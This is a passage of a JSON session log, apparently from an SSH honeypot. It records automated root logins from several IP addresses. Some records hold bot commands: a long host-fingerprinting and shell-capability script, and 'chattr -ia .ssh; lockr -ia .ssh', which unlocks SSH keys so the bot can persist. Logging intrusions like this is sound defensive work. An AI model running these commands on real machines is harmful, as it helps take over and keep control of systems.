\"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:03:14.480235+00:00",
  "ended_at": "2026-08-26T15:03:14.591596+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0848e902-05b2-401b-b626-d708e9461d50",
  "name": "tangled-prickly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:01:36.456019+00:00",
  "ended_at": "2026-08-26T15:01:38.513231+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a336bf3a-00b9-4bef-ab8d-b8bebc60641e",
  "name": "daring-sullen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:19.744688+00:00",
  "ended_at": "2026-08-26T15:01:20.589016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12b87106-ca23-4459-a7f2-a017aac4a92e",
  "name": "marine-rambling-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 56478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:01:12.399491+00:00",
  "ended_at": "2026-08-26T15:01:12.843557+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6950cee9-b1b9-44ad-919f-ff2cce7095de",
  "name": "fabled-sincere-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40805,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:59:12.507667+00:00",
  "ended_at": "2026-08-26T14:59:13.746782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2483fba2-9988-4a66-8746-f7811a322d43",
  "name": "obsidian-freckled-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.50",
  "src_port": 53384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:59.719393+00:00",
  "ended_at": "2026-08-26T14:59:01.917406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de57f171-72c4-40c9-8a4b-ea4235040d50",
  "name": "gloomy-austere-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40807,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:50.739552+00:00",
  "ended_at": "2026-08-26T14:58:51.726572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6f68bac-2808-410e-8b8f-2d45cb853f27",
  "name": "opal-silent-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 63282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:55:31.523076+00:00",
  "ended_at": "2026-08-26T14:55:33.134250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d5c9cf8e-cb22-49ae-bf3e-66c747293ab9",
  "name": "misty-silent-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:55:06.557526+00:00",
  "ended_at": "2026-08-26T14:55:08.164120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5ea950c-51c3-4e1a-91ab-c3d39f9eae95",
  "name": "earnest-cosmic-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:34.958005+00:00",
  "ended_at": "2026-08-26T14:51:35.881700+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a2cf6520-00fe-4886-b0c9-c348e7dd0ff1",
  "name": "oaken-serene-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50334,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:51:19.116654+00:00",
  "ended_at": "2026-08-26T14:51:20.962658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7314bfa-f3f5-4b8f-b033-8ec79289284e",
  "name": "austere-sincere-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:09.138548+00:00",
  "ended_at": "2026-08-26T14:51:10.441004+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "42dbeb4f-c305-4fc9-adee-c67698401c0c",
  "name": "mottled-ivory-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:50:46.684762+00:00",
  "ended_at": "2026-08-26T14:50:48.301792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7490650-98ab-4412-ba2f-85d20b650a71",
  "name": "amiable-nautical-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:49:39.026323+00:00",
  "ended_at": "2026-08-26T14:49:40.174581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7d3efdf5-42aa-4b4e-928c-1aebea6949d8",
  "name": "autumn-gallant-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52390,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:25.576420+00:00",
  "ended_at": "2026-08-26T14:49:26.510165+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b071e9c4-ac61-4511-9399-3afd4d66dcdb",
  "name": "proud-lively-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40731,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:48:13.256128+00:00",
  "ended_at": "2026-08-26T14:48:14.554042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "3f4843ca-6988-452a-9d91-6778f499676c",
  "name": "rustic-bold-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40733,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:50.602572+00:00",
  "ended_at": "2026-08-26T14:47:52.450661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79c82dc6-93a6-4f32-a42f-99c5dce541c0",
  "name": "jaunty-seaward-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:45:40.096591+00:00",
  "ended_at": "2026-08-26T14:45:41.726099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "77a80509-2327-42f1-9be4-aa1ceea799b8",
  "name": "deft-diligent-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:25.119660+00:00",
  "ended_at": "2026-08-26T14:45:26.099795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7598bea9-4da1-47d8-b026-d1a203a68e23",
  "name": "sincere-tender-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40725,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:42:31.000515+00:00",
  "ended_at": "2026-08-26T14:42:32.380142+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "802dd2d1-61a2-4b06-80f8-dbe692728819",
  "name": "sandy-obsidian-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40727,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:42:09.231614+00:00",
  "ended_at": "2026-08-26T14:42:10.635026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cec4606-d4d9-4140-bc74-2b5a8e888a1a",
  "name": "scarlet-solar-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 51730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:41:33.138217+00:00",
  "ended_at": "2026-08-26T14:41:34.797637+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bcbf32ce-d96b-4123-85da-37baac209d51",
  "name": "woven-mindful-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:41:18.311589+00:00",
  "ended_at": "2026-08-26T14:41:19.728785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4ca0ef-db05-46c4-b9fe-4cb668151541",
  "name": "supple-quiet-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:42.710893+00:00",
  "ended_at": "2026-08-26T14:39:44.286402+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "573b33b6-3eae-458e-b5ca-03759bf9cb6d",
  "name": "loyal-dusty-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:21.006538+00:00",
  "ended_at": "2026-08-26T14:39:22.744954+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40636307-ff66-46af-ba25-ecb11fe7801b",
  "name": "amber-inland-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:20.792467+00:00",
  "ended_at": "2026-08-26T14:39:22.174356+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e79f8092-dfec-4618-93b9-9ccd7fb0ea31",
  "name": "crystal-russet-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:01.848656+00:00",
  "ended_at": "2026-08-26T14:39:03.738508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdb39c75-9d9c-411a-a462-848f8b63369a",
  "name": "ashen-humble-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58144,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:37:21.409105+00:00",
  "ended_at": "2026-08-26T14:37:22.312259+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d37821db-251e-4527-a069-5f98022a7a26",
  "name": "marine-mottled-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58162,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:58.912488+00:00",
  "ended_at": "2026-08-26T14:37:00.256289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89f9cf55-6093-45e0-a19e-bd2df5e61d1b",
  "name": "golden-frugal-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:35:22.389541+00:00",
  "ended_at": "2026-08-26T14:35:23.705048+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "84c64f1f-27a4-4c6f-99eb-3b8b6fdb7e2f",
  "name": "thawing-humble-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:56.369047+00:00",
  "ended_at": "2026-08-26T14:34:58.275069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d89739-dec6-4187-8b9e-2e8bf306c2a3",
  "name": "jolly-sunlit-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:34:15.066072+00:00",
  "ended_at": "2026-08-26T14:34:16.782068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "c3821e0a-0646-449b-9fa3-68e95a4d598b",
  "name": "gallant-fabled-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:33:53.029446+00:00",
  "ended_at": "2026-08-26T14:33:54.936969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36aa25ed-924d-430f-8d51-4554eeebb004",
  "name": "woven-hidden-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 403,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:33:09.429144+00:00",
  "ended_at": "2026-08-26T14:33:13.037032+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7bc8f12-6b2a-4cbf-be4f-a0595d334efc",
  "name": "vivid-smooth-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.225",
  "src_port": 42054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:58.473366+00:00",
  "ended_at": "2026-08-26T14:32:58.938227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b120b8a6-d2ce-4c6c-b2f8-ffb8c8001570",
  "name": "granite-electric-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 487,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:31:29.897510+00:00",
  "ended_at": "2026-08-26T14:31:34.902769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e027010-5fca-420f-a9e3-6e7fd37242af",
  "name": "lively-dusky-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:30:22.967107+00:00",
  "ended_at": "2026-08-26T14:30:27.569640+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3049eda-a723-440e-afe4-ac43274d4cd6",
  "name": "solemn-bronzed-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:29:34.001280+00:00",
  "ended_at": "2026-08-26T14:29:39.557597+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d476217-c2ee-4b23-9f58-780e03feaa14",
  "name": "flinty-coastal-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 380,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
